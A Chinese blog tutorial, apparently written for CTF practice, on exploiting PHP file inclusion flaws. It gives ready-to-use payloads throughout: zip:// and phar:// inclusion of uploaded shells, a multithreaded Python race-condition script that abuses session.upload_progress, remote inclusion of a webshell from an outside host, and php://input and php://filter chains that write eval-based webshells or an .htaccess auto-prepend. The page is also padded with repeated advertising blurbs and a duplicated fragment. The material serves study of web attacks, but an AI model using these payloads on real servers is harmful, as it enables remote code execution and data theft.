详解文件包含漏洞_< php show_source(__file__); error_reporting(1); i(3)

img
img

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加戳这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

  • 然后将其压缩成zip包,压缩的时候注意要选择only store之类的选项,防止数据被压缩
  • 然后将这个 zip 的后缀改为 jpg 之类的(有时不改直接用zip后缀也可以成功),目的是可以成功上传,之后我们就可以通过:http://localhost/H3rmesk1t/demo.php?file=zip://D:/Users/86138/Desktop/shell.zip%23shell或者http://localhost/H3rmesk1t/demo.php?file=zip://D:/Users/86138/Desktop/shell.jpg%23shell或者http://localhost/H3rmesk1t/demo.php?file=phar://D:/Users/86138/Desktop/shell.zip/shell或者http://localhost/H3rmesk1t/demo.php?file=phar://D:/Users/86138/Desktop/shell.jpg/shell

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  • zip://文件路径/zip文件名称#压缩包内的文件名称 (使用时注意将#号进行URL编码)
  • phar://文件路径/phar文件名称/phar内的文件名称
  • phar://协议与zip://类似,同样可以访问zip格式压缩包内容
Session文件包含漏洞
  • 前提条件:PHP版本>5.4.0
  • 配置项:session.upload_progress.enabled的值为On
  • 利用session.upload_progress进行文件包含,在php5.4之后添加了这个功能
(由于我是在Windows环境下做的测试就把限制条件去掉了)
<?php
highlight\_file(\_\_FILE\_\_);
if(isset($\_GET['file'])){
	$file = $\_GET['file'];
	// $file = str\_replace("php", "xxx", $file);
	// $file = str\_replace("data", "xxx", $file);
	// $file = str\_replace(":", "xxx", $file);
	// $file = str\_replace(".", "xxx", $file);
	include($file);
}else{
	echo "Can you find me???";
}
?>

几个php.ini的默认选项:

session.upload_progress.enabled = on
# 表示upload_progress功能开始,即当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中
session.upload_progress.cleanup = on
# 表示当文件上传结束后,php将会立即清空对应session文件中的内容
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
# 表示为session中的键名
session.use_strict_mode=off
# 表示对Cookie中sessionid可控

例如:在session.upload_progress.name='PHP_SESSION_UPLOAD_PROGRESS'的条件下上传文件,便会在session['upload_progress_D1no']中储存一些本次上传相关的信息,储存在/tmp/sess_H3rmesk1t

// PHPSESSION = H3rmesk1t
<form action="upload.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="PHP\_SESSION\_UPLOAD\_PROGRESS" value="D1no" />
 <input type="file" name="file1" />
 <input type="file" name="file2" />
 <input type="submit" />
</form>

在这里插入图片描述

通过上图和几个默认选项的有关介绍就想是否可以利用session.upload_progress来写入恶意语句,然后进行包含文件,但前提是需要知道session的存储位置

PHP中session的存储机制:

  • php中的session中的内容并不是存储在内存中,而是以文件的方式进行存储,存储方式是由配置项session.save_handler来进行确定的,默认便是以文件的方式进行存储,存储文件的名字便是由sess_sessionid来进行命名的,文件的内容便是session值序列化之后的内容,至于存储路径便是由配置项session.save_path来进行决定的

一般session的存储路径都不会怎么去改,默认的便是:

  • linux:/tmp 或 /var/lib/php/session
  • Windows:C:\WINDOWS\Temp

存储路径知道了,但是由于代码中没有session_start()函数,无法创建出session文件;其实如果配置项session.auto_start=On 是打开的,那么PHP在接收请求的时候便会自动化Session,不再需要执行该函数,但默认都是关闭的;在session中还有一个默认选项,便是上面提到的session.use_strict_mode默认值是0,用户可以自己定义SessionID

Cookie中设置:
PHPSESSID = H3rmesk1t
PHP便会在服务器上创建一个文件(默认路径)
/tmp/sess_H3rmesk1t

即使此时用户没有初始化Session,PHP也会自动初始化Session
并产生一个键值,这个键值由ini.get("session.upload\_progress.prefix")+我们构造的session.upload_progress.name值组成,最后被写入sess_文件里

还有一个问题没有解决,默认配置session.upload_progress.cleanup = on导致文件上传后,session文件内容会立即被清空,所以这里就需要去使用多线程同时进行写和读,进行条件竞争,在session文件清除前进行包含利用

import requests
import io
import threading

url = 'http://xxx.xxx.xx.xx:80/H3rmesk1t/demo.php'
sessID = 'H3rmesk1t'

def write(session):
    #判断event的标志是否为True
    while event.isSet():
        #上传文件要大一点,更有利于条件竞争
        f = io.BytesIO(b'H3rmesk1t' \* 1024 \* 50)
        reponse = session.post(
            url,
            cookies={'PHPSESSID': sessID},
            data={'PHP\_SESSION\_UPLOAD\_PROGRESS':'<?php system("cat flag");?>'},
            files={'file':('text.txt',f)}
        )
def read(session):
    while event.isSet():
        reponse = session.get(url + '?file=/phpstudy/phpstudy\_x64/phpstudy\_pro/Extensions/tmp/sess\_{}'.format(sessID))
        if 'D1no' in reponse.text:
            print(reponse.text)
            #将event的标志设置为False,调用wait方法的所有线程将被阻塞;
            event.clear()
        else:
            print('[\*]continued')

if __name__ == '\_\_main\_\_':
    #通过threading.Event()可以创建一个事件管理标志,该标志(event)默认为False
    event = threading.Event()
    #将event的标志设置为True,调用wait方法的所有线程将被唤醒;
    event.set()
    #会话机制(Session)在PHP 中用于保持用户连续访问Web应用时的相关数据
    with requests.session() as session:
        for i in range(1,30):
            threading.Thread(target=write, args=(session,)).start()
        for i in range(1,30):
            threading.Thread(target=read, args=(session,)).start()

在这里插入图片描述

这样就可以得到flag了,除此之外,还可以使用burp来进行条件竞争,例如利用下面的html上传代码上传一个文件

<!DOCTYPE html>
<html>
<body>
<form action="http://localhost/H3rmesk1t/demo.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP\_SESSION\_UPLOAD\_PROGRESS" value="H3rmesk1t" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

在这里插入图片描述

再根据代码抓一个get的包,请求/tmp/sess_flag

在这里插入图片描述

同时进行爆破,payload设置成null payloads就可以一直爆破

在这里插入图片描述

远程包含

利用前提:

  • allow_url_fopen = On 是否允许打开远程文件
  • allow_url_include = On 是否允许include/require远程文件
无任何限制

代码没有任何限制,直接在公网上存放恶意webshell即可,然后通过包含即可执行恶意payload
?filename=http://xxxx/php.txt

限制包含文件的后缀名

例如:<?php include($_GET['filename'] . ".no"); ?>

  • 第一种方法:?绕过 ?filename=http://xxxx/php.txt?
  • 第二种方法:#绕过 ?filename=http://xxxx/php.txt%23

PHP伪协议

简单理解便是PHP自己提供的一套协议,可以适用于自己的语言,其他语言则不适用,这便是伪协议,与之相对的例如HTTP\HTTPS便不是伪协议,因为大部分系统\软件都能够进行识别

常见的伪协议

可以看下之间详解PHP伪协议的内容
在这里插入图片描述
如果遇到的环境有写入权限,可以使用php://input伪协议来写入木马

POST DATA
<?php fputs(fopen('H3rmesk1t.php','w'),'<?php @eval($\_GET[cmd]); ?>'); ?>

php://filter各种过滤器

php://filter是一种元封装器,设计用来数据流打开时筛选过滤应用,详见官方文档

对于php://来说,是支持多种过滤器嵌套的,格式如下:

php://filter/[read|write]=[过滤器1]|[过滤器2]/resource=文件名称(包含后缀名)
# 如果|被过滤掉了,可以使用多过滤器:

php://filter/string.rot13/resource=php://filter/convert.base64-encode/resource=文件名称(包含后缀名)
# 嵌套过程的执行流程为从左到右

其实是可以简写成这样的php://filter/[过滤器] ,php会自己进行识别

在这里插入图片描述

过滤器列表

过滤器名称说明类别版本
string.rot13rot13转换字符串过滤器PHP>4.3.0
string.toupper、string.tolower大小写互转字符串过滤器PHP>5.0.0
string.strip_tags去除<?(.*?)?>的内容string.strip_tagsPHP<7.3.0
convert.base64-encode、convert.base64-decodebase64编码转换转换过滤器PHP>5.0.0
convert.quoted-printable-encode、convert.quoted-printable-decodeURL编码转换转换过滤器PHP>5.0.0
convert.iconv.编码1.编码2任意编码转换转换过滤器PHP>5.0.0
zlib.deflate、zlib.inflatezlib压缩压缩过滤器PHP>5.1.0
bzip2.compress、bzip2.decompresszlib压缩压缩过滤器PHP>5.1.0

从上面的过滤器列表中便会发现,php伪协议主要支持以下几类:

  1. 字符串过滤器
  2. string.strip_tags
  3. 转换过滤器
  4. 压缩过滤器
  5. 加密过滤器

PHP伪协议常用函数

注意show_source有回显,而file_get_contents是没有回显的

  • file_get_contents
  • file_put_contents
  • readfile
  • fopen
  • file
  • show_source
  • highlight_file

file_put_content与死亡/杂糅代码

CTF经常类似考察这样的代码:

  • file_put_contents($filename,"<?php exit();".$content);
  • file_put_contents($content,"<?php exit();".$content);
  • file_put_contents($filename,$content . "\nxxxxxx");

这种代码非常常见,在$content开头增加了exit进程,即使写入一句话也无法执行,遇到这种问题一般的解决方法便是利用伪协议php://filter,结合编码或相应的过滤器进行绕过;绕过原理便是将死亡或者杂糅代码分解成为php无法进行识别的代码

第一种情况
<?php
if(isset($\_GET['file'])){
    $file = $\_GET['file'];
    $content = $\_POST['content'];
    file\_put\_contents($file,"<?php exit();".$content);
}else{
    highlight\_file(\_\_FILE\_\_);
}

base64编码绕过:

  • 上面提到了绕过原理便是将死亡或者杂糅代码分解成为php无法进行识别的代码
  • 使用base64编码,是因为base64只能打印64 (a-z0-9A-Z) 个可打印字符,PHP在解码base64时如果遇到了不在其中的字符,便会跳过这些字符,然后将合法字符组成一个新的字符串再进行解码
  • 当$content被加上了<?php exit; ?>以后,可以使用php://filter/convert.base64-decode来对其解码,在解码的过程中,字符<?;空格等不符合base64编码的字符范围将会被忽略,所以最终被解码的字符只有phpexit和传入的其他字符
  • 但是还要知道的是base64解码时是4个byte一组,上面正常解码的只有7个字符,所以再手动加上去1个字符a,凑齐8个字符
Payload:

?file=php://filter/convert.base64-decode/resource=H3rmesk1t.php
POST DATA
content=aPD9waHAgcGhwaW5mbygpOyA/Pg==

在这里插入图片描述

rot13编码绕过:
利用rot13编码其实和base64编码绕过原理一样,只要成为php无法进行识别的代码,就不会执行
前提是PHP没有开启short_open_tag(短标签),默认情况下是没有开启的

在这里插入图片描述

Payload:

<?php
$s = '<?php @eval($\_GET[cmd]); ?>';
echo str\_rot13($s)
?>
=>
<?cuc @riny($\_TRG[pzq]); ?>

?file=php://filter/write=string.rot13/resource=test1.php
POST DATA
content=<?cuc @riny($\_TRG[pzq]); ?>

在这里插入图片描述

嵌套绕过:
strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签(php7.3之后移除)

string.strip_tags可以去除剥去字符串中的 HTML、XML 以及 PHP 的标签,而<?php exit; ?>实际上便是一个XML标签,既然是XML标签,就可以利用strip_tags函数去除它,所以可以先将webshell用base64编码,调用完成strip_tags后再进行base64-decode,死亡exit在第一步被去除,而webshell在第二步被还原

Payload:

#php5
?file=php://filter/string.strip\_tags|convert.base64-decode/resource=test2.php
POST DATA
content=?>PD9waHAgcGhwaW5mbygpOyA/Pg==
#由于<?php exit();不是完整的标签,所以需要加上?>进行补全

在这里插入图片描述

但是这种方法有局限性,因为string.strip_tags在php7.3以上的环境下会发生段错误,从而导致无法写入,在php5或者php7.2的环境下则不受此影响

过滤器嵌套:
如果环境是php7的话,也可以使用过滤器嵌套的方法来做
流程是先将三个过滤器叠加之后进行压缩,然后转小写,最后再解压,这样的流程执行结束后会导致部分死亡代码错误,便可以写进去我们想要写入的shell,原理很简单,就是利用过滤器嵌套的方式让死亡代码在各种变换之间进行分解扰乱,最终变成php无法识别的字符

经测试可用的Payload:

?file=php://filter/zlib.deflate|string.tolower|zlib.inflate|/resource=a.php
POST DATA
content=php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0deval($\_GET[cmd]);?>/resource=a.php
或者(没试过)
content=php/:|<?php%0Dphpinfo();?>/resource=test3.php

在这里插入图片描述

.htaccess的预包含利用:
.htaccess是一个纯文本文件,里面存放着Apache服务器配置相关的一些指令,它类似于Apache的站点配置文件,但只作用于当前目录,而且是只有用户访问目录时才加载,通过该文件可以实现网页301重定向,自定义404错误页面,改变文件拓展名,禁止目录列表等
通过 php_value 来设置 auto_prepend_file或者 auto_append_file 配置选项包含一些敏感文件,同时在本目录或子目录中需要有可解析的 php 文件来触发,这时无论访问那个文件,都会解析出flag.php
php_value auto_prepend_file +文件绝对路径(默认为当前上传的目录)

Payload:

?file=php://filter/write=string.strip\_tags/resource=.htaccess
POST DATA
content=?>php_value%20auto_prepend_file%20D:\phpstudy\phpstudy_x64\phpstudy_pro\WWW\H3rmesk1t\flag.php

在这里插入图片描述

第二种情况
<?php
if(isset($\_GET['content'])){
    $content = $\_GET['content'];
    file\_put\_contents($content,"<?php exit();".$content);
}else{
    highlight\_file(\_\_FILE\_\_);
}

这种情况和上面第一种便有点不同了,因为是一个变量,但还是可以利用php伪协议进行嵌套过滤器来消除死亡代码的,可以利用.htaccess进行预包含,然后读取flag

.htaccess预包含绕过:
可以直接自定义预包含文件,这里直接包含了.htaccess导致了所有文件都包含flag.php文件
这里我本机测试时无法执行.htaccess,借用了一下别人的图 (还是太菜了~~)

payload:

?content=php://filter/string.strip\_tags/?>php\_value auto\_prepend\_file D:\flag.php%0a%23/resource=.htaccess

在这里插入图片描述

base64编码绕过:

  • 既然变成了一个变量,那么首先想到的payload便是:php://filter/convert.base64-decode/PD9waHAgcGhwaW5mbygpOz8+/resource=H3rmesk1t.php但是有一个问题,可以创建文件,但是无法写入内容,原因出在=号上,因为默认情况下base64编码是以=作为结尾的,在正常解码的时候到了=就解码结束了,在最后获取文件名的时候因为resource=中含有等号,所以以为解码是结束了,导致过滤器解码失败,从而报错,内容由于解码过程出错了,所以就都丢弃了
  • 所以现在问题就转变为了只要能去掉这个等号,就可以将内容写进去,可以看下这种方法:php://filter/<?|string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B.php如果按照之前的思路是先闭合死亡代码,然后再使用过滤器去除html标签,最后再进行解码,但仔细观察这个payload并非是那种解法,而是直接在内容时,就将我们base64遇到的等号这个问题直接写在<? ?>中进行过滤掉,然后base64-decode再对原本内容的<?php exit();进行转码,从而达到分解死亡代码的目的
  • 除此之外还可以使用之前的思路来做,既然base64编码写在里面不行,那么就直接放在外面,然后搭配一下过滤器php://filter/string.strip.tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B.php先闭合死亡代码,然后进行解码,这样便可以写入到文件中去,但访问的话会出现问题,查看s1mple师傅的方法,发现可以通过使用伪目录的方法,从而绕过去php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B/../H3rmesk1t.php将前面的一串base64字符和闭合的符号整体看作一个目录,虽然没有,但是后面重新撤回了原目录,生成H3rmesk1t.php文件;从而就可以生成正常的文件名,上面的那种方法也可以使用这种伪目录的方法解决访问问题

rot13编码绕过:
rot13则无需考虑=号问题

Payload:

?content=php://filter/string.rot13/<?cuc cucvasb();?>/resource=1.php

在这里插入图片描述

iconv字符编码绕过:
在php中iconv函数库能够完成各种字符集间的转换
在该函数库下有一个convert.iconv.这样的过滤器,这个过滤器需要php支持iconv,而iconv是默认编译的,使用convert.iconv.*过滤器等同于用iconv()函数处理所有的流数据

在这里插入图片描述

利用方式就是用此过滤器,从而进行编码的转换,转换掉死亡代码,写入自己的shell,首先先要了解一下UCS的两种编码格式UCS-2和UCS-4:

  • UCS-2就是用两个字节编码
  • UCS-4就是用四个字节编码

来看一下利用这个函数即不同的格式转换后的结果:
第二个之所以要加上两个字符,是因为UCS-4对目标字符串是4位一反转,所以要注意这里的恶意代码要是4的倍数,所以这里需要补上两个字符
在这里插入图片描述

UCS-2利用:
对目标字符串进行2位一反转
(一定要计算好长度,写入php文件中的内容在?<hp phpipfn(o;)>?之前的一定要是2的倍数,就像下面的Payload前面的是57个字符,加了一个?凑成58字符,做题时可以通过本地测试Payload,成功后再利用)

Payload:

?content=php://filter//convert.iconv.UCS-2LE.UCS-2BE|??<hp phpipfn(o;)>?/resource=22.php

在这里插入图片描述

UCS-4的利用:
对目标字符串进行4位一反转,一定要拼凑够4的倍数(构造道理同UCS-2)

Payload:

?content=php://filter//convert.iconv.UCS-4LE.UCS-4BE|aaa?<ba phpiphp(ofn>?;)/resource=33.php

在这里插入图片描述

组合拳UTF-8/UTF-7:
上面的这种base64编码php://filter/convert.base64-decode/PD9waHAgcGhwaW5mbygpOz8+/resource=H3rmesk1t.php,之所以payload无法执行是因为受到了等号的影响,但是通过测试发现可以利用UTF-8和UTF-7间的转换了来绕过等号,再解码时发现=没有转换回来

img
img

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加戳这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!


![在这里插入图片描述](https://img-blog.csdnimg.cn/20210528010720688.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0xZSjIwMDEwNzI4,size_16,color_FFFFFF,t_70#pic_center)



> 
> **组合拳UTF-8/UTF-7:**  
>  上面的这种base64编码`php://filter/convert.base64-decode/PD9waHAgcGhwaW5mbygpOz8+/resource=H3rmesk1t.php`,之所以payload无法执行是因为受到了等号的影响,但是通过测试发现可以利用UTF-8和UTF-7间的转换了来绕过等号,再解码时发现=没有转换回来
> 
> 
> 


[外链图片转存中...(img-QcqGSbJC-1715889498833)]
[外链图片转存中...(img-mQS6o2K8-1715889498833)]

**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**

**[需要这份系统化的资料的朋友,可以添加戳这里获取](https://bbs.csdn.net/topics/618668825)**


**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**

  • 19
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值